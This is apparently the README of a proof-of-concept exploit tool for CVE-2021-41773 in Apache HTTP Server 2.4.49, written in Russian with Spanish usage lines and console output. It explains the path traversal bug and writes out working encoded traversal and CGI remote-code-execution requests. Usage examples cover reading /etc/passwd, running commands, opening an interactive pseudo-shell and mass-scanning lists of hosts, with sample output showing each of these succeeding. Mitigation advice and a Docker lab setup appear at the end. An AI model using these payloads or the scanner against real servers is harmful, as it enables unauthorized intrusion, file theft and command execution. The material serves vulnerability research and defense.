
PoC для CVE-2021-41773
Только для использования в контролируемых и собственных средах. Не использовать против систем без разрешения.
PoC, разработанный для демонстрации и понимания уязвимости CVE-2021-41773, присутствующей в Apache HTTP Server 2.4.49.
Ошибка заключается в функции ap_normalize_path(), которая некорректно проверяла символы, закодированные в URL. Это позволяло злоумышленнику выйти за пределы DocumentRoot с помощью последовательности закодированных символов (%2e%2e%2f вместо ../), читая произвольные файлы системы.
Когда модуль mod_cgi был включён, уязвимость эскалировала до RCE (Remote Code Execution), позволяя выполнять команды непосредственно на сервере с правами процесса Apache.
Сервер должен соответствовать всем этим условиям, чтобы быть уязвимым:
| Условие | Детали |
|---|---|
| Версия Apache | Ровно 2.4.49 |
| Директива доступа | Require all granted в конфигурации |
| Модуль CGI | mod_cgi включён (только для RCE) |
Apache 2.4.49 фильтровал классический ../, но не его версию, закодированную в URL. Злоумышленник формирует путь, который фильтр не обнаруживает, но который операционная система интерпретирует корректно:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f — это URL-кодирование ../. Apache пропускал его, ОС разрешала, и результатом был доступ к файлам за пределами веб-каталога.
При активном mod_cgi path traversal используется для указания на /bin/sh вместо файла. Apache обрабатывает его как CGI-скрипт и выполняет. Команда передаётся в теле POST как минимальный shell-скрипт:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
Вывод команды приходит в HTTP-ответе.
Репозиторий включает готовую среду для воспроизведения уязвимости в setup/:
cd setup
docker compose up -d
Это поднимает Apache 2.4.49 на порту 8080 с уязвимой конфигурацией (Require all granted + включённый mod_cgi). Файлы лаборатории:
| Файл | Описание |
|---|---|
setup/docker-compose.yml | Контейнер с Apache 2.4.49 |
setup/httpd.conf | Уязвимая конфигурация Apache |
Используемые файлы конфигурации находятся в setup/.
Почему urllib3, а не requests?
requests автоматически перекодирует символы пути перед отправкой.
Это ломает payload, потому что сервер получает %252e вместо %2e.
urllib3 позволяет отправлять путь без изменений.
Почему .%2e/, а не %2e%2e/?
Apache фильтрует %2e%2e/ в модуле mod_rewrite.
Вариант .%2e/ семантически эквивалентен, но проходит фильтр,
потому что нормализация пути происходит после валидации.
mod_cgi должен быть включён, чтобы режим RCE работал.
Без него возможен только path traversal.python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| Аргумент | Обязательный | Описание |
|---|---|---|
--target | Да* | Базовый URL сервера (например: http://localhost:8080) |
--input-file / -iF | Да* | Файл со списком целей (по одной на строку) |
--mode | Да | Режим работы (см. таблицу ниже) |
--cmd | Нет | Команда для выполнения в режиме rce (по умолчанию: id) |
--file | Нет | Файл для чтения в режиме traversal (по умолчанию: /etc/passwd) |
--threads / -t | Нет | Потоки для массового сканирования (по умолчанию: 10, только с --input-file) |
--output / -o | Нет | Экспорт результатов в JSON (только с --input-file) |
* --target и --input-file являются взаимоисключающими — используется один или другой.
| Режим | Описание |
|---|---|
check | Проверяет, уязвима ли цель и включён ли mod_cgi, без извлечения конфиденциальных данных |
traversal | Читает произвольный файл системы через path traversal |
rce | Выполняет отдельную команду на сервере через mod_cgi |
shell | Интерактивный псевдо-shell для последовательного выполнения команд RCE |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
Файл JSON содержит метаданные сканирования и массив результатов с target, status, server, hostname и rce для каждой цели.
2.4.51 или выше.Require all denied в качестве значения по умолчанию.mod_cgi, если это не является строго необходимым.